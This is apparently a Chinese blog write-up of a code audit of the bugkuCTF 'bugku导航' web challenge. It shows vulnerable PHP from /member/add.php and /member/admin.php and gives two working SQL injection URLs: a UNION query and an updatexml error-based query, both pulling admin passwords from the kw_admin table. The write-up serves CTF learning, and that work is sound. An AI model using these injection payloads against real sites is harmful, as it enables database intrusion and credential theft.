代码审计:bugkuCTF web进阶 bugku导航两处注入

代码审计:bugkuCTF web进阶 bugku导航两处注入

bugku导航

bugku导航是bugkuCTF靶场中,web进阶的一道题,存在源码泄露,所以下下来审计一波。

https://ctf.bugku.com/challenges

在这里插入图片描述
下载源码:
(可以看到有个flag-asd.txt文件,如果只是想通关的话,在线访问这个文件即可得到flag值)

http://123.206.87.240:9006/1.zip

在这里插入图片描述
自行搭建,或者用bugku自己的网站也行。
在这里插入图片描述

代码审计

使用seay工具进行初步审计,根据可疑点回溯。
因为目标是拿到密码,所以主要关注sql注入。
后台admin的就不看了,前台疑似存在四处注入。
在这里插入图片描述
头两个是一样的,进入/include/smarty/plugins/function.list.php,关键代码如下:

<?php
function smarty_function_list ($params , &$smarty){
	$category = $params['category'];
		require ("../common/config.php");
	$sql = "SELECT * FROM `".$dbprefix."_sites` WHERE `Category` = ".$category;
	。。。
}
?>

可以看到sql语句的 $category 没有过滤直接使用,而 $category 来自 p a r a m s 数 组 , params 数组, paramsparams 通过传参进来。
全局搜索 smarty_function_list 函数,看一下调用之前有没有过滤操作。
在这里插入图片描述
很可惜,似乎并没有别的文件调用该函数。

/member/add.php 存在注入

那我们看到第三个,进入/member/add.php,关键代码如下:

<?php
require_once 'inc.php';
$user = $_SESSION['userlogin'];

$type = !empty( $_GET['type'] ) ? trim( $_GET['type'] ) : "";
if( $type == "newok" )
{
	。。。
}elseif( $type == "edit" )
{
	$usersites = $db -> select("SELECT * FROM `".$dbprefix."_favorite` WHERE `ID`=".$_GET['id']);
	$templates->assign("ID",$_GET['id']);
	$templates->assign("Name",$usersites[0]['Name']);
	$templates->assign("Link",$usersites[0]['Link']);
	$templates->assign("Order",$usersites[0]['Order']);
	$templates->assign("stype","editok");
	$templates->assign("title","�޸�վ��");
	$templates->display( templates ( 'add.tpl' ) );
}elseif( $type == "editok" )
{
	。。。
} else
{
	。。。
}
?>

可以看到 select 语句的 id 值直接get获取的,没有任何过滤,存在注入。
代码逻辑不难看出,在用户登录的状态下,访问 /member/add.php,在参数 $type 为 edit 值时,可构造 id 参数进行注入操作。

给出exp:

http://123.206.87.240:9006/member/add.php?type=edit&id=1 union select 1,group_concat(Name),group_concat(Password),4,5 from kw_admin

在这里插入图片描述

/member/admin.php 存在注入

最后看第四个注入点, 进入/member/admin.php, 关键代码如下:

<?php
require_once 'inc.php';

$type = !empty( $_GET['type'] ) ? trim( $_GET['type'] ) : "";
if( $type == "del" )
{
	$id = !empty( $_GET['id'] ) ? trim( $_GET['id'] ) : "";
	$db -> query("DELETE FROM `".$dbprefix."_favorite` WHERE `ID`=".$id);
	$templates->assign("msg","ɾ���û��Զ���վ��ɹ���<a href=\"#\" οnclick=\"history.go(-2);\">����</a>");
	$templates->display( templates ( 'msg.tpl' ) );
} else
{
	。。。
}
?>

可以看到 delect 语句的 id 值没有过滤,存在注入。
访问 /member/admin.php,在参数 $type 为 del 值时,可构造 id 参数进行注入操作。

delect 型的注入,所以我们选择报错注入,给出exp:

http://123.206.87.240:9006/member/admin.php?type=del&id=1 or updatexml(1,concat(0x7e,(select group_concat(Password) from kw_admin)),0)

在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值